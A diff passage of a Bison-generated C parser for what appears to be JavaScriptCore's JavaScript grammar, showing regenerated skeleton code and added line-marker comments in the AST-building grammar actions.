+    YYSTYPE yyvsa[YYINITDEPTH];
+    YYSTYPE *yyvs;
+    YYSTYPE *yyvsp;
 
-#define YYPOPSTACK(N)   (yyvsp -= (N), yyssp -= (N), yylsp -= (N))
+    /* The location stack.  */
+    YYLTYPE yylsa[YYINITDEPTH];
+    YYLTYPE *yyls;
+    YYLTYPE *yylsp;
+
+    /* The locations where the error started and ended.  */
+    YYLTYPE yyerror_range[2];
 
-  YYSIZE_T yystacksize = YYINITDEPTH;
+    YYSIZE_T yystacksize;
 
+  int yyn;
+  int yyresult;
+  /* Lookahead token as an internal (translated) token number.  */
+  int yytoken;
   /* The variables used to return semantic value and location from the
      action routines.  */
   YYSTYPE yyval;
   YYLTYPE yyloc;
 
+#if YYERROR_VERBOSE
+  /* Buffer for error messages, and its allocated size.  */
+  char yymsgbuf[128];
+  char *yymsg = yymsgbuf;
+  YYSIZE_T yymsg_alloc = sizeof yymsgbuf;
+#endif
+
+#define YYPOPSTACK(N)   (yyvsp -= (N), yyssp -= (N), yylsp -= (N))
+
   /* The number of symbols on the RHS of the reduced rule.
      Keep to zero when no symbol should be popped.  */
   int yylen = 0;
 
+  yytoken = 0;
+  yyss = yyssa;
+  yyvs = yyvsa;
+  yyls = yylsa;
+  yystacksize = YYINITDEPTH;
+
   YYDPRINTF ((stderr, "Starting parse\n"));
 
   yystate = 0;
   yyerrstatus = 0;
   yynerrs = 0;
-  yychar = YYEMPTY;		/* Cause a token to be read.  */
+  yychar = YYEMPTY; /* Cause a token to be read.  */
 
   /* Initialize stack pointers.
      Waste one element of value and location stack
      so that they stay on the same level as the state stack.
      The wasted elements are never initialized.  */
-
   yyssp = yyss;
   yyvsp = yyvs;
   yylsp = yyls;
+
 #if YYLTYPE_IS_TRIVIAL
   /* Initialize the default location before parsing starts.  */
   yylloc.first_line   = yylloc.last_line   = 1;
-  yylloc.first_column = yylloc.last_column = 0;
+  yylloc.first_column = yylloc.last_column = 1;
 #endif
 
   goto yysetstate;
@@ -2863,6 +2825,7 @@ YYLTYPE yylloc;
 		    &yyvs1, yysize * sizeof (*yyvsp),
 		    &yyls1, yysize * sizeof (*yylsp),
 		    &yystacksize);
+
 	yyls = yyls1;
 	yyss = yyss1;
 	yyvs = yyvs1;
@@ -2884,9 +2847,9 @@ YYLTYPE yylloc;
 	  (union yyalloc *) YYSTACK_ALLOC (YYSTACK_BYTES (yystacksize));
 	if (! yyptr)
 	  goto yyexhaustedlab;
-	YYSTACK_RELOCATE (yyss);
-	YYSTACK_RELOCATE (yyvs);
-	YYSTACK_RELOCATE (yyls);
+	YYSTACK_RELOCATE (yyss_alloc, yyss);
+	YYSTACK_RELOCATE (yyvs_alloc, yyvs);
+	YYSTACK_RELOCATE (yyls_alloc, yyls);
 #  undef YYSTACK_RELOCATE
 	if (yyss1 != yyssa)
 	  YYSTACK_FREE (yyss1);
@@ -2907,6 +2870,9 @@ YYLTYPE yylloc;
 
   YYDPRINTF ((stderr, "Entering state %d\n", yystate));
 
+  if (yystate == YYFINAL)
+    YYACCEPT;
+
   goto yybackup;
 
 /*-----------.
@@ -2915,16 +2881,16 @@ YYLTYPE yylloc;
 yybackup:
 
   /* Do appropriate processing given the current state.  Read a
-     look-ahead token if we need one and don't already have one.  */
+     lookahead token if we need one and don't already have one.  */
 
-  /* First try to decide what to do without reference to look-ahead token.  */
+  /* First try to decide what to do without reference to lookahead token.  */
   yyn = yypact[yystate];
   if (yyn == YYPACT_NINF)
     goto yydefault;
 
-  /* Not known => get a look-ahead token if don't already have one.  */
+  /* Not known => get a lookahead token if don't already have one.  */
 
-  /* YYCHAR is either YYEMPTY or YYEOF or a valid look-ahead symbol.  */
+  /* YYCHAR is either YYEMPTY or YYEOF or a valid lookahead symbol.  */
   if (yychar == YYEMPTY)
     {
       YYDPRINTF ((stderr, "Reading a token: "));
@@ -2956,20 +2922,16 @@ yybackup:
       goto yyreduce;
     }
 
-  if (yyn == YYFINAL)
-    YYACCEPT;
-
   /* Count tokens shifted since error; after three, turn off error
      status.  */
   if (yyerrstatus)
     yyerrstatus--;
 
-  /* Shift the look-ahead token.  */
+  /* Shift the lookahead token.  */
   YY_SYMBOL_PRINT ("Shifting", yytoken, &yylval, &yylloc);
 
-  /* Discard the shifted token unless it is eof.  */
-  if (yychar != YYEOF)
-    yychar = YYEMPTY;
+  /* Discard the shifted token.  */
+  yychar = YYEMPTY;
 
   yystate = yyn;
   *++yyvsp = yylval;
@@ -3010,31 +2972,43 @@ yyreduce:
   switch (yyn)
     {
         case 2:
+
+/* Line 1455 of yacc.c  */
 #line 293 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) NullNode(GLOBAL_DATA), 0, 1); ;}
     break;
 
   case 3:
+
+/* Line 1455 of yacc.c  */
 #line 294 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) BooleanNode(GLOBAL_DATA, true), 0, 1); ;}
     break;
 
   case 4:
+
+/* Line 1455 of yacc.c  */
 #line 295 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) BooleanNode(GLOBAL_DATA, false), 0, 1); ;}
     break;
 
   case 5:
+
+/* Line 1455 of yacc.c  */
 #line 296 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeNumberNode(GLOBAL_DATA, (yyvsp[(1) - (1)].doubleValue)), 0, 1); ;}
     break;
 
   case 6:
+
+/* Line 1455 of yacc.c  */
 #line 297 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) StringNode(GLOBAL_DATA, *(yyvsp[(1) - (1)].ident)), 0, 1); ;}
     break;
 
   case 7:
+
+/* Line 1455 of yacc.c  */
 #line 298 "parser/Grammar.y"
     {
                                             Lexer& l = *GLOBAL_DATA->lexer;
@@ -3050,6 +3024,8 @@ yyreduce:
     break;
 
   case 8:
+
+/* Line 1455 of yacc.c  */
 #line 309 "parser/Grammar.y"
     {
                                             Lexer& l = *GLOBAL_DATA->lexer;
@@ -3065,26 +3041,36 @@ yyreduce:
     break;
 
   case 9:
+
+/* Line 1455 of yacc.c  */
 #line 323 "parser/Grammar.y"
     { (yyval.propertyNode) = createNodeInfo<PropertyNode*>(new (GLOBAL_DATA) PropertyNode(GLOBAL_DATA, *(yyvsp[(1) - (3)].ident), (yyvsp[(3) - (3)].expressionNode).m_node, PropertyNode::Constant), (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 10:
+
+/* Line 1455 of yacc.c  */
 #line 324 "parser/Grammar.y"
     { (yyval.propertyNode) = createNodeInfo<PropertyNode*>(new (GLOBAL_DATA) PropertyNode(GLOBAL_DATA, *(yyvsp[(1) - (3)].ident), (yyvsp[(3) - (3)].expressionNode).m_node, PropertyNode::Constant), (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 11:
+
+/* Line 1455 of yacc.c  */
 #line 325 "parser/Grammar.y"
     { (yyval.propertyNode) = createNodeInfo<PropertyNode*>(new (GLOBAL_DATA) PropertyNode(GLOBAL_DATA, (yyvsp[(1) - (3)].doubleValue), (yyvsp[(3) - (3)].expressionNode).m_node, PropertyNode::Constant), (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 12:
+
+/* Line 1455 of yacc.c  */
 #line 326 "parser/Grammar.y"
     { (yyval.propertyNode) = createNodeInfo<PropertyNode*>(makeGetterOrSetterPropertyNode(GLOBAL_DATA, *(yyvsp[(1) - (7)].ident), *(yyvsp[(2) - (7)].ident), 0, (yyvsp[(6) - (7)].functionBodyNode), GLOBAL_DATA->lexer->sourceCode((yyvsp[(5) - (7)].intValue), (yyvsp[(7) - (7)].intValue), (yylsp[(5) - (7)]).first_line)), ClosureFeature, 0); setStatementLocation((yyvsp[(6) - (7)].functionBodyNode), (yylsp[(5) - (7)]), (yylsp[(7) - (7)])); if (!(yyval.propertyNode).m_node) YYABORT; ;}
     break;
 
   case 13:
+
+/* Line 1455 of yacc.c  */
 #line 328 "parser/Grammar.y"
     {
                                                                  (yyval.propertyNode) = createNodeInfo<PropertyNode*>(makeGetterOrSetterPropertyNode(GLOBAL_DATA, *(yyvsp[(1) - (8)].ident), *(yyvsp[(2) - (8)].ident), (yyvsp[(4) - (8)].parameterList).m_node.head, (yyvsp[(7) - (8)].functionBodyNode), GLOBAL_DATA->lexer->sourceCode((yyvsp[(6) - (8)].intValue), (yyvsp[(8) - (8)].intValue), (yylsp[(6) - (8)]).first_line)), (yyvsp[(4) - (8)].parameterList).m_features | ClosureFeature, 0); 
@@ -3097,6 +3083,8 @@ yyreduce:
     break;
 
   case 14:
+
+/* Line 1455 of yacc.c  */
 #line 339 "parser/Grammar.y"
     { (yyval.propertyList).m_node.head = new (GLOBAL_DATA) PropertyListNode(GLOBAL_DATA, (yyvsp[(1) - (1)].propertyNode).m_node); 
                                           (yyval.propertyList).m_node.tail = (yyval.propertyList).m_node.head;
@@ -3105,6 +3093,8 @@ yyreduce:
     break;
 
   case 15:
+
+/* Line 1455 of yacc.c  */
 #line 343 "parser/Grammar.y"
     { (yyval.propertyList).m_node.head = (yyvsp[(1) - (3)].propertyList).m_node.head;
                                           (yyval.propertyList).m_node.tail = new (GLOBAL_DATA) PropertyListNode(GLOBAL_DATA, (yyvsp[(3) - (3)].propertyNode).m_node, (yyvsp[(1) - (3)].propertyList).m_node.tail);
@@ -3113,51 +3103,71 @@ yyreduce:
     break;
 
   case 17:
+
+/* Line 1455 of yacc.c  */
 #line 351 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ObjectLiteralNode(GLOBAL_DATA), 0, 0); ;}
     break;
 
   case 18:
+
+/* Line 1455 of yacc.c  */
 #line 352 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ObjectLiteralNode(GLOBAL_DATA, (yyvsp[(2) - (3)].propertyList).m_node.head), (yyvsp[(2) - (3)].propertyList).m_features, (yyvsp[(2) - (3)].propertyList).m_numConstants); ;}
     break;
 
   case 19:
+
+/* Line 1455 of yacc.c  */
 #line 354 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ObjectLiteralNode(GLOBAL_DATA, (yyvsp[(2) - (4)].propertyList).m_node.head), (yyvsp[(2) - (4)].propertyList).m_features, (yyvsp[(2) - (4)].propertyList).m_numConstants); ;}
     break;
 
   case 20:
+
+/* Line 1455 of yacc.c  */
 #line 358 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ThisNode(GLOBAL_DATA), ThisFeature, 0); ;}
     break;
 
   case 23:
+
+/* Line 1455 of yacc.c  */
 #line 361 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ResolveNode(GLOBAL_DATA, *(yyvsp[(1) - (1)].ident), (yylsp[(1) - (1)]).first_column), (*(yyvsp[(1) - (1)].ident) == GLOBAL_DATA->propertyNames->arguments) ? ArgumentsFeature : 0, 0); ;}
     break;
 
   case 24:
+
+/* Line 1455 of yacc.c  */
 #line 362 "parser/Grammar.y"
     { (yyval.expressionNode) = (yyvsp[(2) - (3)].expressionNode); ;}
     break;
 
   case 25:
+
+/* Line 1455 of yacc.c  */
 #line 366 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ArrayNode(GLOBAL_DATA, (yyvsp[(2) - (3)].intValue)), 0, (yyvsp[(2) - (3)].intValue) ? 1 : 0); ;}
     break;
 
   case 26:
+
+/* Line 1455 of yacc.c  */
 #line 367 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ArrayNode(GLOBAL_DATA, (yyvsp[(2) - (3)].elementList).m_node.head), (yyvsp[(2) - (3)].elementList).m_features, (yyvsp[(2) - (3)].elementList).m_numConstants); ;}
     break;
 
   case 27:
+
+/* Line 1455 of yacc.c  */
 #line 368 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ArrayNode(GLOBAL_DATA, (yyvsp[(4) - (5)].intValue), (yyvsp[(2) - (5)].elementList).m_node.head), (yyvsp[(2) - (5)].elementList).m_features, (yyvsp[(4) - (5)].intValue) ? (yyvsp[(2) - (5)].elementList).m_numConstants + 1 : (yyvsp[(2) - (5)].elementList).m_numConstants); ;}
     break;
 
   case 28:
+
+/* Line 1455 of yacc.c  */
 #line 372 "parser/Grammar.y"
     { (yyval.elementList).m_node.head = new (GLOBAL_DATA) ElementNode(GLOBAL_DATA, (yyvsp[(1) - (2)].intValue), (yyvsp[(2) - (2)].expressionNode).m_node);
                                           (yyval.elementList).m_node.tail = (yyval.elementList).m_node.head;
@@ -3166,6 +3176,8 @@ yyreduce:
     break;
 
   case 29:
+
+/* Line 1455 of yacc.c  */
 #line 377 "parser/Grammar.y"
     { (yyval.elementList).m_node.head = (yyvsp[(1) - (4)].elementList).m_node.head;
                                           (yyval.elementList).m_node.tail = new (GLOBAL_DATA) ElementNode(GLOBAL_DATA, (yyvsp[(1) - (4)].elementList).m_node.tail, (yyvsp[(3) - (4)].intValue), (yyvsp[(4) - (4)].expressionNode).m_node);
@@ -3174,26 +3186,36 @@ yyreduce:
     break;
 
   case 30:
+
+/* Line 1455 of yacc.c  */
 #line 384 "parser/Grammar.y"
     { (yyval.intValue) = 0; ;}
     break;
 
   case 32:
+
+/* Line 1455 of yacc.c  */
 #line 389 "parser/Grammar.y"
     { (yyval.intValue) = 1; ;}
     break;
 
   case 33:
+
+/* Line 1455 of yacc.c  */
 #line 390 "parser/Grammar.y"
     { (yyval.intValue) = (yyvsp[(1) - (2)].intValue) + 1; ;}
     break;
 
   case 35:
+
+/* Line 1455 of yacc.c  */
 #line 395 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>((yyvsp[(1) - (1)].funcExprNode).m_node, (yyvsp[(1) - (1)].funcExprNode).m_features, (yyvsp[(1) - (1)].funcExprNode).m_numConstants); ;}
     break;
 
   case 36:
+
+/* Line 1455 of yacc.c  */
 #line 396 "parser/Grammar.y"
     { BracketAccessorNode* node = new (GLOBAL_DATA) BracketAccessorNode(GLOBAL_DATA, (yyvsp[(1) - (4)].expressionNode).m_node, (yyvsp[(3) - (4)].expressionNode).m_node, (yyvsp[(3) - (4)].expressionNode).m_features & AssignFeature);
                                           setExceptionLocation(node, (yylsp[(1) - (4)]).first_column, (yylsp[(1) - (4)]).last_column, (yylsp[(4) - (4)]).last_column);
@@ -3202,6 +3224,8 @@ yyreduce:
     break;
 
   case 37:
+
+/* Line 1455 of yacc.c  */
 #line 400 "parser/Grammar.y"
     { DotAccessorNode* node = new (GLOBAL_DATA) DotAccessorNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, *(yyvsp[(3) - (3)].ident));
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(1) - (3)]).last_column, (yylsp[(3) - (3)]).last_column);
@@ -3210,6 +3234,8 @@ yyreduce:
     break;
 
   case 38:
+
+/* Line 1455 of yacc.c  */
 #line 404 "parser/Grammar.y"
     { NewExprNode* node = new (GLOBAL_DATA) NewExprNode(GLOBAL_DATA, (yyvsp[(2) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].argumentsNode).m_node);
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).last_column, (yylsp[(3) - (3)]).last_column);
@@ -3218,6 +3244,8 @@ yyreduce:
     break;
 
   case 40:
+
+/* Line 1455 of yacc.c  */
 #line 412 "parser/Grammar.y"
     { BracketAccessorNode* node = new (GLOBAL_DATA) BracketAccessorNode(GLOBAL_DATA, (yyvsp[(1) - (4)].expressionNode).m_node, (yyvsp[(3) - (4)].expressionNode).m_node, (yyvsp[(3) - (4)].expressionNode).m_features & AssignFeature);
                                           setExceptionLocation(node, (yylsp[(1) - (4)]).first_column, (yylsp[(1) - (4)]).last_column, (yylsp[(4) - (4)]).last_column);
@@ -3226,6 +3254,8 @@ yyreduce:
     break;
 
   case 41:
+
+/* Line 1455 of yacc.c  */
 #line 416 "parser/Grammar.y"
     { DotAccessorNode* node = new (GLOBAL_DATA) DotAccessorNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, *(yyvsp[(3) - (3)].ident));
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(1) - (3)]).last_column, (yylsp[(3) - (3)]).last_column);
@@ -3234,6 +3264,8 @@ yyreduce:
     break;
 
   case 42:
+
+/* Line 1455 of yacc.c  */
 #line 420 "parser/Grammar.y"
     { NewExprNode* node = new (GLOBAL_DATA) NewExprNode(GLOBAL_DATA, (yyvsp[(2) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].argumentsNode).m_node);
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).last_column, (yylsp[(3) - (3)]).last_column);
@@ -3242,6 +3274,8 @@ yyreduce:
     break;
 
   case 44:
+
+/* Line 1455 of yacc.c  */
 #line 428 "parser/Grammar.y"
     { NewExprNode* node = new (GLOBAL_DATA) NewExprNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node);
                                           setExceptionLocation(node, (yylsp[(1) - (2)]).first_column, (yylsp[(2) - (2)]).last_column, (yylsp[(2) - (2)]).last_column);
@@ -3250,6 +3284,8 @@ yyreduce:
     break;
 
   case 46:
+
+/* Line 1455 of yacc.c  */
 #line 436 "parser/Grammar.y"
     { NewExprNode* node = new (GLOBAL_DATA) NewExprNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node);
                                           setExceptionLocation(node, (yylsp[(1) - (2)]).first_column, (yylsp[(2) - (2)]).last_column, (yylsp[(2) - (2)]).last_column);
@@ -3258,16 +3294,22 @@ yyreduce:
     break;
 
   case 47:
+
+/* Line 1455 of yacc.c  */
 #line 443 "parser/Grammar.y"
     { (yyval.expressionNode) = makeFunctionCallNode(GLOBAL_DATA, (yyvsp[(1) - (2)].expressionNode), (yyvsp[(2) - (2)].argumentsNode), (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(2) - (2)]).last_column); ;}
     break;
 
   case 48:
+
+/* Line 1455 of yacc.c  */
 #line 444 "parser/Grammar.y"
     { (yyval.expressionNode) = makeFunctionCallNode(GLOBAL_DATA, (yyvsp[(1) - (2)].expressionNode), (yyvsp[(2) - (2)].argumentsNode), (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(2) - (2)]).last_column); ;}
     break;
 
   case 49:
+
+/* Line 1455 of yacc.c  */
 #line 445 "parser/Grammar.y"
     { BracketAccessorNode* node = new (GLOBAL_DATA) BracketAccessorNode(GLOBAL_DATA, (yyvsp[(1) - (4)].expressionNode).m_node, (yyvsp[(3) - (4)].expressionNode).m_node, (yyvsp[(3) - (4)].expressionNode).m_features & AssignFeature);
                                           setExceptionLocation(node, (yylsp[(1) - (4)]).first_column, (yylsp[(1) - (4)]).last_column, (yylsp[(4) - (4)]).last_column);
@@ -3276,6 +3318,8 @@ yyreduce:
     break;
 
   case 50:
+
+/* Line 1455 of yacc.c  */
 #line 449 "parser/Grammar.y"
     { DotAccessorNode* node = new (GLOBAL_DATA) DotAccessorNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, *(yyvsp[(3) - (3)].ident));
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(1) - (3)]).last_column, (yylsp[(3) - (3)]).last_column);
@@ -3283,16 +3327,22 @@ yyreduce:
     break;
 
   case 51:
+
+/* Line 1455 of yacc.c  */
 #line 455 "parser/Grammar.y"
     { (yyval.expressionNode) = makeFunctionCallNode(GLOBAL_DATA, (yyvsp[(1) - (2)].expressionNode), (yyvsp[(2) - (2)].argumentsNode), (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(2) - (2)]).last_column); ;}
     break;
 
   case 52:
+
+/* Line 1455 of yacc.c  */
 #line 456 "parser/Grammar.y"
     { (yyval.expressionNode) = makeFunctionCallNode(GLOBAL_DATA, (yyvsp[(1) - (2)].expressionNode), (yyvsp[(2) - (2)].argumentsNode), (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(2) - (2)]).last_column); ;}
     break;
 
   case 53:
+
+/* Line 1455 of yacc.c  */
 #line 457 "parser/Grammar.y"
     { BracketAccessorNode* node = new (GLOBAL_DATA) BracketAccessorNode(GLOBAL_DATA, (yyvsp[(1) - (4)].expressionNode).m_node, (yyvsp[(3) - (4)].expressionNode).m_node, (yyvsp[(3) - (4)].expressionNode).m_features & AssignFeature);
                                           setExceptionLocation(node, (yylsp[(1) - (4)]).first_column, (yylsp[(1) - (4)]).last_column, (yylsp[(4) - (4)]).last_column);
@@ -3301,6 +3351,8 @@ yyreduce:
     break;
 
   case 54:
+
+/* Line 1455 of yacc.c  */
 #line 461 "parser/Grammar.y"
     { DotAccessorNode* node = new (GLOBAL_DATA) DotAccessorNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, *(yyvsp[(3) - (3)].ident));
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(1) - (3)]).last_column, (yylsp[(3) - (3)]).last_column);
@@ -3309,16 +3361,22 @@ yyreduce:
     break;
 
   case 55:
+
+/* Line 1455 of yacc.c  */
 #line 468 "parser/Grammar.y"
     { (yyval.argumentsNode) = createNodeInfo<ArgumentsNode*>(new (GLOBAL_DATA) ArgumentsNode(GLOBAL_DATA), 0, 0); ;}
     break;
 
   case 56:
+
+/* Line 1455 of yacc.c  */
 #line 469 "parser/Grammar.y"
     { (yyval.argumentsNode) = createNodeInfo<ArgumentsNode*>(new (GLOBAL_DATA) ArgumentsNode(GLOBAL_DATA, (yyvsp[(2) - (3)].argumentList).m_node.head), (yyvsp[(2) - (3)].argumentList).m_features, (yyvsp[(2) - (3)].argumentList).m_numConstants); ;}
     break;
 
   case 57:
+
+/* Line 1455 of yacc.c  */
 #line 473 "parser/Grammar.y"
     { (yyval.argumentList).m_node.head = new (GLOBAL_DATA) ArgumentListNode(GLOBAL_DATA, (yyvsp[(1) - (1)].expressionNode).m_node);
                                           (yyval.argumentList).m_node.tail = (yyval.argumentList).m_node.head;
@@ -3327,6 +3385,8 @@ yyreduce:
     break;
 
   case 58:
+
+/* Line 1455 of yacc.c  */
 #line 477 "parser/Grammar.y"
     { (yyval.argumentList).m_node.head = (yyvsp[(1) - (3)].argumentList).m_node.head;
                                           (yyval.argumentList).m_node.tail = new (GLOBAL_DATA) ArgumentListNode(GLOBAL_DATA, (yyvsp[(1) - (3)].argumentList).m_node.tail, (yyvsp[(3) - (3)].expressionNode).m_node);
@@ -3335,181 +3395,253 @@ yyreduce:
     break;
 
   case 64:
+
+/* Line 1455 of yacc.c  */
 #line 495 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makePostfixNode(GLOBAL_DATA, (yyvsp[(1) - (2)].expressionNode).m_node, OpPlusPlus, (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(2) - (2)]).last_column), (yyvsp[(1) - (2)].expressionNode).m_features | AssignFeature, (yyvsp[(1) - (2)].expressionNode).m_numConstants); ;}
     break;
 
   case 65:
+
+/* Line 1455 of yacc.c  */
 #line 496 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makePostfixNode(GLOBAL_DATA, (yyvsp[(1) - (2)].expressionNode).m_node, OpMinusMinus, (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(2) - (2)]).last_column), (yyvsp[(1) - (2)].expressionNode).m_features | AssignFeature, (yyvsp[(1) - (2)].expressionNode).m_numConstants); ;}
     break;
 
   case 67:
+
+/* Line 1455 of yacc.c  */
 #line 501 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makePostfixNode(GLOBAL_DATA, (yyvsp[(1) - (2)].expressionNode).m_node, OpPlusPlus, (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(2) - (2)]).last_column), (yyvsp[(1) - (2)].expressionNode).m_features | AssignFeature, (yyvsp[(1) - (2)].expressionNode).m_numConstants); ;}
     break;
 
   case 68:
+
+/* Line 1455 of yacc.c  */
 #line 502 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makePostfixNode(GLOBAL_DATA, (yyvsp[(1) - (2)].expressionNode).m_node, OpMinusMinus, (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(2) - (2)]).last_column), (yyvsp[(1) - (2)].expressionNode).m_features | AssignFeature, (yyvsp[(1) - (2)].expressionNode).m_numConstants); ;}
     break;
 
   case 69:
+
+/* Line 1455 of yacc.c  */
 #line 506 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeDeleteNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node, (yylsp[(1) - (2)]).first_column, (yylsp[(2) - (2)]).last_column, (yylsp[(2) - (2)]).last_column), (yyvsp[(2) - (2)].expressionNode).m_features, (yyvsp[(2) - (2)].expressionNode).m_numConstants); ;}
     break;
 
   case 70:
+
+/* Line 1455 of yacc.c  */
 #line 507 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) VoidNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node), (yyvsp[(2) - (2)].expressionNode).m_features, (yyvsp[(2) - (2)].expressionNode).m_numConstants + 1); ;}
     break;
 
   case 71:
+
+/* Line 1455 of yacc.c  */
 #line 508 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeTypeOfNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node), (yyvsp[(2) - (2)].expressionNode).m_features, (yyvsp[(2) - (2)].expressionNode).m_numConstants); ;}
     break;
 
   case 72:
+
+/* Line 1455 of yacc.c  */
 #line 509 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makePrefixNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node, OpPlusPlus, (yylsp[(1) - (2)]).first_column, (yylsp[(2) - (2)]).first_column + 1, (yylsp[(2) - (2)]).last_column), (yyvsp[(2) - (2)].expressionNode).m_features | AssignFeature, (yyvsp[(2) - (2)].expressionNode).m_numConstants); ;}
     break;
 
   case 73:
+
+/* Line 1455 of yacc.c  */
 #line 510 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makePrefixNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node, OpPlusPlus, (yylsp[(1) - (2)]).first_column, (yylsp[(2) - (2)]).first_column + 1, (yylsp[(2) - (2)]).last_column), (yyvsp[(2) - (2)].expressionNode).m_features | AssignFeature, (yyvsp[(2) - (2)].expressionNode).m_numConstants); ;}
     break;
 
   case 74:
+
+/* Line 1455 of yacc.c  */
 #line 511 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makePrefixNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node, OpMinusMinus, (yylsp[(1) - (2)]).first_column, (yylsp[(2) - (2)]).first_column + 1, (yylsp[(2) - (2)]).last_column), (yyvsp[(2) - (2)].expressionNode).m_features | AssignFeature, (yyvsp[(2) - (2)].expressionNode).m_numConstants); ;}
     break;
 
   case 75:
+
+/* Line 1455 of yacc.c  */
 #line 512 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makePrefixNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node, OpMinusMinus, (yylsp[(1) - (2)]).first_column, (yylsp[(2) - (2)]).first_column + 1, (yylsp[(2) - (2)]).last_column), (yyvsp[(2) - (2)].expressionNode).m_features | AssignFeature, (yyvsp[(2) - (2)].expressionNode).m_numConstants); ;}
     break;
 
   case 76:
+
+/* Line 1455 of yacc.c  */
 #line 513 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) UnaryPlusNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node), (yyvsp[(2) - (2)].expressionNode).m_features, (yyvsp[(2) - (2)].expressionNode).m_numConstants); ;}
     break;
 
   case 77:
+
+/* Line 1455 of yacc.c  */
 #line 514 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeNegateNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node), (yyvsp[(2) - (2)].expressionNode).m_features, (yyvsp[(2) - (2)].expressionNode).m_numConstants); ;}
     break;
 
   case 78:
+
+/* Line 1455 of yacc.c  */
 #line 515 "parser/Grammar.y"
